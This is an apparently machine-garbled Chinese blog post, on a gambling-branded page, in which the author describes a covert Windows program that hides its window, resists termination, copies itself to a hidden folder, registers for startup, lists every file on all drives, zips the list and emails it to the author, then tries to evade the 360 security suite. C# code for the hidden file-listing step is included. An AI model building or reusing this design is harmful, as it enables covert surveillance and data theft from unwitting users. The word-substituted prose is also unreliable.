必赢亚洲手机app下载


数字产品礼仪和处世感悟

黑客术语

读取电脑拥有磁盘文件并出口路径

日前项目不是太忙,做了一个小程序。刚发轫只是想出口电脑拥有文件,看看其中终归有啥东西。
到后来再想只要其余人运维程序后,是或不是能把她电脑中文件名和所在路径都发到作者邮箱呢?
所以逐渐这一个小程序也就做的比较完美了。

运作程序后它实际的进行步骤如下:

1、隐藏窗口(调用API)

    
笔者用的是控制台应用程序,运维之后不或许让用户观察运转界面。只能在经过中看看运营的主次。

二,尊崇进程(调用三个VC++核心库函数)

     对近来经过展开敬服,尽管用户发现,也无能为力在职责管理器中得了。

3、检测网络连接是或不是健康(调用API)

   因为有点用户用的是3G 大概拨号上网,开机后要等一段时间网络才能两次三番。

四,拷贝文件

    
这一步是把作者拷贝到机器的2个潜伏目录中,幸免用户把以后的顺序删除。

5、设置开机自动运营(读写注册表)M

     把上一步拷贝到隐藏文件的主次目录
写到开机运营注册表中。在上一步就是用户删除了程序,可是他不掌握已经拷贝了一份在隐藏目录下,所以下次开机
     后先后还会运作,但用户发现不了。

六,读取电脑中装有磁盘文件名及所在路径$

   先成立一个藏匿文件夹(比如在C:\Program
Files\上面,因为隐藏文件,所以用户不容许发现),然后在文件夹下新建二个txt,读取到的文书都写到那几个文件文件中。

7、压缩文件Z

 
 作者要好机器测试最终写完的文件达到了20M,假若不让利扣的话,邮箱很难发送,而且时间会相比长。20M文书压缩之后唯有1.6M。

     这一个操作都是在隐身文件夹下进行的。

八,发送邮件*

   将回落的公文以附件格局发送到指定邮箱,那里就是自个儿本身的邮箱。

9、删除文件#

    将第五步中所建的文书夹 以及其中文件都剔除掉。

程序执行完毕,自动退出。下次开机就会活动运维了。

但是依旧多少难题,若是持有360的话,它会有二个登记表防火墙,所以写注册表时候会被阻止,那样用户就很简单察觉。小编事先想用程序甘休360经过,恐怕为止360劳务。没悟出即使小编手动去平息都万分,流氓软件也不是吹出来的。

莫不那一个软件有点不道德 J
然而未来过不了360那关,所以基本上用户都能觉察,没什么威逼。所以我也是协调测试娱乐一下罢了。

上面是内部读取电脑中拥有磁盘文件名及所在路径的代码:

namespace Momo
{
    class Program
    {     static FileStream fs = null;
       static StreamWriter sw = null;
        private static readonly object obj = new object();  
        static void Main(string[] args)
        {
            foreach (DriveInfo df in System.IO.DriveInfo.GetDrives())
            {
                if (df.IsReady)
                    PrintDrive(df.RootDirectory);
            }        fs.Dispose();
          sw.Close(); 
        }

        /// <summary>
        /// 读文件
        /// </summary>
        /// <param name="di"></param>
        public static void PrintDrive(DirectoryInfo di)
        {
            try
            {
                DirectoryInfo[] dirs = di.GetDirectories();  //目录下的文件夹
                FileInfo[] fi = di.GetFiles();               //目录下的文件
                for (int i = 0; i < fi.Length; i++)
                {
                    //Console.WriteLine(fi[i].FullName);
                    WriteFile(fi[i].FullName); //输出文件夹根目录的文件
                }
                for (int j = 0; j < dirs.Length; j++)
                {
                    //Console.WriteLine(dirs[j].FullName);
                    WriteFile(dirs[j].FullName);     //输出文件夹的目录
                    PrintDrive(dirs[j]);             //递归文件夹   
                }
            }
            catch
            {
                //Console.WriteLine("Error");
                WriteFile("Read Error");
            }                                     
        }       

        /// <summary>
        /// 写文件
        /// </summary>
        /// <param name="strFile"></param>
        public static void WriteFile(string strFile)
        {
            if (!Directory.Exists(MailInfo.ToZipPath))  //创建一个目录  @"C:\FolderToZip"
            {
                Directory.CreateDirectory(MailInfo.ToZipPath); 
                DirectoryInfo di = new DirectoryInfo(MailInfo.ToZipPath); 
                di.Attributes = FileAttributes.Hidden; //设置成隐藏文件
            }

            string path = MailInfo.ToZipInfoPath;  //  创建一个文本文档@"C:\FolderToZip\info.txt"

            if ( !File.Exists(path) || fs ==null )
            {
                lock (obj)                        //这里用了单例模式,其实没必要,只是注意单例模式的时候别忘了加锁
                {
                    if (fs == null)
                    {
                        fs = new FileStream(path, FileMode.Append, FileAccess.Write, FileShare.Write);
                        fs.Close();
                    }
                }               
            }
            if (sw == null)
            {
                lock (obj)
                {
                    if (sw == null)
                    {
                        sw = new StreamWriter(path, true, Encoding.UTF8);
                    }
                }
            }                       
            sw.WriteLine(strFile);        
        }      
    }
}

相关文章

No Comments, Be The First!
近期评论
    功能
    网站地图xml地图